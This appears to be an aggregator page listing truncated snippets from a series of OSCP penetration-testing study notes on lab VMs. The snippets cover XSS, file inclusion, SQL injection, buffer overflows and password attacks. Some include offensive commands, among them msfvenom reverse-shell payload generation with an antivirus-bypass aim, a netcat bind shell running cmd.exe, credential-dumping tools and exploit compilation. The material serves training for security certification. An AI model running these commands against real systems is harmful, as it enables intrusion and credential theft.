OSCP Learning Notes - WebApp Exploitation(2)

【OSCP Learning Notes - WebApp Exploitation(2)】的更多相关文章

OSCP Learning Notes - WebApp Exploitation(5)

Remote File Inclusion[RFI] Prepare: Download the DVWA from the following website and deploy it on your server. http://www.dvwa.co.uk/ Install XAMPP and DVWA: 1. Install XAMPP on Windows server. And change the Apache http port to 82 and ssl port to 44…

OSCP Learning Notes - WebApp Exploitation(4)

Local File Inclusion[LFI] Target Pentester Lab: Download from the following website: https://www.vulnhub.com/entry/pentester-lab-php-include-and-post-exploitation,79/ 1. Use netdiscover to find the IP of the target server. The IP address of the targ…

OSCP Learning Notes - WebApp Exploitation(3)

SQL Injection[SQLi] Refrence: SQL Injection Authentication Bypass Cheat Sheet https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/ 1. Browse the PentesterLab vulnerable blog website through Firefox. 2.Edit the Cookie va…

OSCP Learning Notes - WebApp Exploitation(2)

Cross-Site Scripting(XSS) 1. Using the tool - netdiscover to find the IP of target server. netdiscover 2.Browser the website http://10.0.0.21 through Firefox. 3. Click 'Test' . Then write the following script in the text box. <script>alter('XSS')<…

OSCP Learning Notes - WebApp Exploitation(1)

Installing XSS&MySQL FILE Download the Pentester Lab: XSS and MySQL FILE from the following website: https://www.vulnhub.com/entry/pentester-lab-xss-and-mysql-file,66/ Load the iso file and open the vm through vmware. Enter the world of XSS and MYSQL…

OSCP Learning Notes - Post Exploitation(2)

Windows Post Exploitation Target Server: IE8-Win 7 VM 1. Download and upload the fgdump, PwDump7, wce and netcat into the IEUser folder on Windows 7. 2.Create the new user hackme with the password "password". 3.Locate fgdump and wce on Kali Linu…

OSCP Learning Notes - Post Exploitation(1)

Linux Post Exploitation Target Sever: Kioptrix Level 1 1. Search the payloads types. msfvenom -l payloads All the payload type in Metasploit are showing as below: Framework Payloads ( total) [--payload <value>] ======================================…

OSCP Learning Notes - Post Exploitation(4)

Pivoting 1. Edit the virtual network settings of the Vmware. 2. Set the Network Adapter(s) of Kali Linux, IE8-Win7 and Kioptrix Level 1 as showed in the following screenshoots. The Kali Linux should only talk to IE8-Win7 machine, and can not talk to…

OSCP Learning Notes - Post Exploitation(3)

Post-Exploit Password Attacks 1. Crack using the tool - john (Too slow in real world) Locate the rockyou file. john --wordlist=/usr/share/wordlists/rockyou.txt windows john --show windows Conbine the files and save as unshadow. john --rules --wordlis…

OSCP Learning Notes - Overview

Prerequisites: Knowledge of scripting languages(Bash/Pyhon) Understanding of basic networking concepts Understanding of basic Linux syntax A "Try Harder" attitude Modules: Introduction to Kali Linux Infromation Gatheing Scanning Enumeration Netc…

OSCP Learning Notes - Privilege Escalation

Privilege Escalation Download the Basic-pentesting vitualmation from the following website: https://www.vulnhub.com/entry/basic-pentesting-1,216/ 1.Scan the target server using nmap. nmap -Pn -sS --stats-every 3m --max-scan-delay --defeat-rst-ratelim…

OSCP Learning Notes - Buffer Overflows(3)

Finding Bad Characters 1. Find the bad charaters in the following website: https://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/ 2. Write the Python test script using the badchars. #!/usr/bin/python import socket import…

OSCP Learning Notes - Buffer Overflows(2)

Finding the Offset 1. Use the Metasploite pattern_create.rb tool to create 5900 characters. /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5900 2.Write the python test script. The shellcode is copied from the previous step. #!/usr…

OSCP Learning Notes - Buffer Overflows(1)

Introduction to Buffer Overflows Anatomy of Memory Anatomy of the Stack Fuzzing Tools: Vulnserver - https://github.com/stephenbradshaw/vulnserver Immunity Debuger - https://www.immunityinc.com/products/debugger/ Vulnserver Test 1. Open the vulnserver…

OSCP Learning Notes - Netcat

Introduction to Netcat Connecting va Listening Bind Shells Attacker connects to victim on listening port Reverse Shells Victim connects to attacker on listening port Basic usage: nc -nv IP Port Bind Shell: 1.On the Windows nc tool. -nvlp -e cmd.exe 2…

OSCP Learning Notes - Enumeration(4)

DNS Enumeration 1. Host Tool host is a simple utility for performing DNS lookups. It is normally used to convert names to IP addresses and vice versa. When no arguments or options are given, host prints a short summary of its command line arguments a…

OSCP Learning Notes - Enumeration(3)

SMB Enumeration 1. Set the smb configurations. locate smb.conf vim /etc/samba/smb.conf Insert the global settings to the configuration file. client use spnego = no client ntlmv2 auth = no 2. Enumerate the target computer and find some interestring th…

OSCP Learning Notes - Enumeration(2)

HTTP Enumeration Target Host IP: 10.0.0.20 Brute Forcing using DirBuster 1. Start the dirbuster and set the options. Note: 1. The wordlist can be found locally or downloaded from the Internet. OR Dirbuster-ng big wordlist dowload site:https://github…

OSCP Learning Notes - Enumeration(1)

Installing Kioptrix: Level 1 Download the vm machine form https://www.vulnhub.com/entry/kioptrix-level-1-1,22/. In the Kali Linux: Find the devices in the intranet using the following command: netdiscover -i eth0 Scan the target kioptrix vm through n…

OSCP Learning Notes - Scanning(2)

Scanning with Metasploite: 1. Start the Metasploite using msfconsole 2. search modules 3.Choose one of the modules using command: use + module name 4. Show the module options 5.Set the module options 6. Start the exploit: run or exploit…

OSCP Learning Notes - Scanning(1)

TCP vs UDP TCP: Connection-oriented Suited for applications that require high reliablity[HTTP, FTP,Telnet] Three-way handshake UDP: Connectionless Suited for applications that need fast connection[DNS, DHCP, SNMP] No handshake Scanning with Nmap Exam…

OSCP Learning Notes - Information Gathering

Common Tools Google Exploit-DB/Google Hacking DB WHOIS Netcraft theharvester Example: Google search: site:cnn.com -site:www.cnn.com filetype:pdf More google search syntax canbe found on the site : https://support.google.com/websearch/answer/2466433…

OSCP Learning Notes - Kali Linux

Install Kali Linux : https://www.kali.org/ Common Commands: pwd man ls ls -la cd mkdir rmdir cp mv locate adduser su sudo echo cat nano chmod chmod 777 username ifconfig ping Starting and Stopping Services: HTTP /var/www/html apache2 SSH netstat -ant…

OSCP Learning Notes - Exploit(8)

Tools: 3. hydra Hydra v8.9.1 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FIL…

OSCP Learning Notes - Exploit(7)

Pre-Exploit Password Attacks Tools: 1. ncrack Ncrack 0.6 ( http://ncrack.org )Usage: ncrack [Options] {target and service specification}TARGET SPECIFICATION: Can pass hostnames, IP addresses, networks, etc. Ex: scanme.nmap.org, microsoft.com/24, 192.…

OSCP Learning Notes - Exploit(6)

Antivirus Bypassing Tools: Kali Linux Detection Platform: https://www.virustotal.com/gui/home/upload 1. msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.200 LPORT= -f exe -o shell1.exe 2. msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.200 LPORT…

OSCP Learning Notes - Exploit(5)

Java Applet Attacks Download virtual machines from the following website: https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/ 1. Reset the IE Internet Security Level to Medium and Local intranet to Low 2. Add the target url to the excepti…

OSCP Learning Notes - Exploit(4)

Client Side Attacks Tool: setoolkit 1. Start setoolkit on Kali Linux. setoolkit 2. Select 1) Social-Engineering Attacks 3. Select 2)Website Attack Vectors. 4. Select 2) Metasploit Browser Exploit Method 5.Select 2)Site Cloner and set the options. 6.S…

OSCP Learning Notes - Exploit(3)

Modifying Shellcode 1. Search “vulnserver exploit code” on the Internet. Find the following website: http://sh3llc0d3r.com/vulnserver-trun-command-buffer-overflow-exploit/ #!/usr/bin/python import socket import os import sys host="192.168.2.135"…

OSCP Learning Notes - Exploit(2)

Compiling an Exploit Exercise: samba exploit 1. Search and download the samba exploit source code from Exploit Database. https://www.exploit-db.com/exploits/10 2. Compile the source code. gcc 10.c -o trans2open 3. Use the trans2open tool to exploit t…